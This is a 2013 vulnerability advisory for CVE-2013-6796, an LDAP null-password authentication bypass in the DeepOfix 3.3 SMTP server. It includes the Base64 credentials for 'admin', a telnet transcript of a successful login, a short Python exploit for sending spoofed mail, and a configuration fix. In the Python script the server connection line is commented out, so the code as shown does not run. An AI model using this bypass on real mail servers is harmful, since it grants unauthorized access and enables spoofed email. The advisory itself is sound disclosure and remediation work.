DeepOfix 3.3 SMTP Authentication Bypass

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Vulnerability: Bypass authentication and gain unauthorized access to SMTP server  
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Platform: DeepOfix  
Version: <= 3.3 (All versions tested)  
Vendor: Deep Root Linux - http://www.deeproot.in  
Date: 2013/11/06  
Discovered by: Gerardo Vazquez, Eduardo Arriols   
[Pragsis-Security - http://pragsis-security.com/]  
Severity: 7.5/10 (CVSS Base Score)  
CVE: 2013-6796  
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1. Background  
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DeepOfix is a free ISO of DeepRootLinux to mount a mail server providing users the   
ability to send emails via SMTP, check e-mail via IMAP, access the files via FTP or  
SSH...  
  
  
2. Problem Description  
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The vulnerability allows an attacker to bypass the authentication in the SMTP server  
to send emails. The problem is that the SMTP server performs authentication against   
LDAP by default, and the service does not check that the password is null if this   
Base64. This creates a connection "anonymous" but with a user account without entering  
the password.  
  
It is important to note that the same could be used with other services also   
validate against LDAP.  
  
  
3. Impact  
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An Attacker could login in the SMTP server knowing only the username of one user in the  
server and he could sends emails. One important thing is that the user "admin" always   
exists in the server.  
  
  
4. Expotation  
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To authenticate against the SMTP server can make the login is done using Base64, so if  
you enter the user "admin" and password null or '\0' in Base64 give us access server as   
"admin" without checking the password.  
  
The credentials in Base64:  
  
User: "admin" ===> "YWRtaW4="  
Password: null ==> "AA=="   
  
Example of how we could authenticate to the system:  
  
test@0-day ~ $ telnet deepofix.local 25  
Trying deepofix.local...  
Connected to deepofix.local.  
Escape character is '^]'.  
220 deepofix.local ESMTP   
auth login # In ASCCI:  
334 VXNlcm5hbWU6 # 334 Username:  
YWRtaW4= # admin  
334 UGFzc3dvcmQ6 # 334 Password:  
AA== # \0  
235 nice to meet you   
  
Now we would be authenticated as "admin" so we could send emails from that account.  
  
  
Simple exploit in Python [exploit.py]:  
-----------------------------------------------------------------  
| import smtplib |  
| |  
| # Select the sender and the receivers |  
| sender = 'sender@mail' |  
| receivers = ['[email protected]'] |  
| |  
| # Write the message |  
| message = """ |  
| From: From Sender <[email protected]> |  
| To: To Receiver <[email protected]> |  
| Subject: NSA is watching you! |  
| |  
| This is a really important message... xD |  
| """ |  
| |  
| # Connect to the SMTP server and send the email |  
| try: |  
| # server = smtplib.SMTP('deepofix.local', 25) |  
| |  
| # Auth login --> admin/null in Base64 |  
| server.docmd("auth login") |  
| server.docmd("YWRtaW4=") |  
| server.docmd("AA==") |  
| |  
| server.sendmail(sender, receivers, message) |  
| print "Successfully sent email" |  
| |  
| except: |  
| print "Error: unable to send email" |  
-----------------------------------------------------------------  
  
  
5. Solution  
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To solve the problem we have only ban the anonymous LDAP bind.  
  
It is done by editing /var/easypush/ldap/etc/openldap/slapd.conf and add  
the line "disallow bind_anon". After you restart the ldap service with:  
sv term slapd  
slapd sv status  
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